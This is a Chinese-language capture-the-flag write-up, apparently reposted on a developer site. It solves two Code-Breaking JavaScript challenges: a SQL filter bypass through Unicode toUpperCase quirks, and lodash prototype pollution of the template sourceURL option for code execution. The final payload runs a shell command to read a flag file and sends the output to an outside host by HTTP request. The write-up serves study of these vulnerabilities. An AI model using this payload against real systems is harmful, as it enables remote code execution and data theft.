Code-Breaking JS Writeup

栏目: JavaScript · 发布时间: 6年前

内容简介:题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题对

Code-Breaking

题目来自 "代码审计知识星球"( p师傅 ) 学习了一下,做了两道关于 JS 的题

easy - nodechr

safeKeyword 过滤函数:

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

union|select|;|-- 进行了检测

漏洞点:

let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

函数 toUpperCase 是存在一些特殊情况的:

"ı".toUpperCase()
"I"
"ſ".toUpperCase()
"S"

即可绕过过滤函数。

hard - thejs

代码比较少,使用 lodash 实现了一个简单的 ejs 模版引擎,在请求的时候渲染。猜测是 merge 有问题,查看版本,然后在 github 上搜索: Code-Breaking JS Writeup

发现一个有意思的。 增加一个 safeGet 函数:

function safeGet(object, key) {
    return key == '__proto__'
      ? undefined
      : object[key];
  }

增加了判断原型属性的函数,没有的话可以进行原型污染。 开始看到:

res.render('index', {
        language: data.language, 
        category: data.category
    })

想着原型污染有点不太可能,后来测试发现, merge 直接将注入的原型属性的值写到了最底层的 Object ,这样每创建一个对象,注入的对象都会在原型属性当中。 接下来寻找可以利用的点,查看 template 函数,发现 敏感的点

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

继续找 可控点

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

其中 option 为我们在模版引擎中,渲染的值。这里读取其中的 sourceURL 属性的值,我们就可以通过原型污染,添加一个 sourceURL 属性并控制值,在拼接到 Function 中达到执行 JS 的目的。 模版:

new Function("","//# sourceURL='xxx'\r\n[CODE]\r\n")();

这里有个小 TIP ?: Code-Breaking JS Writeup 没法直接在 Function 中引入 require 。查了一下:

var require = global.require || global.process.mainModule.constructor._load

所以原型污染 + 执行任意 JS。 payload:

{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://l0ca1.com/${result}`);req.end();\r\n"}}

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Dive Into Python 3

Dive Into Python 3

Mark Pilgrim / Apress / 2009-11-6 / USD 44.99

Mark Pilgrim's Dive Into Python 3 is a hands-on guide to Python 3 (the latest version of the Python language) and its differences from Python 2. As in the original book, Dive Into Python, each chapter......一起来看看 《Dive Into Python 3》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器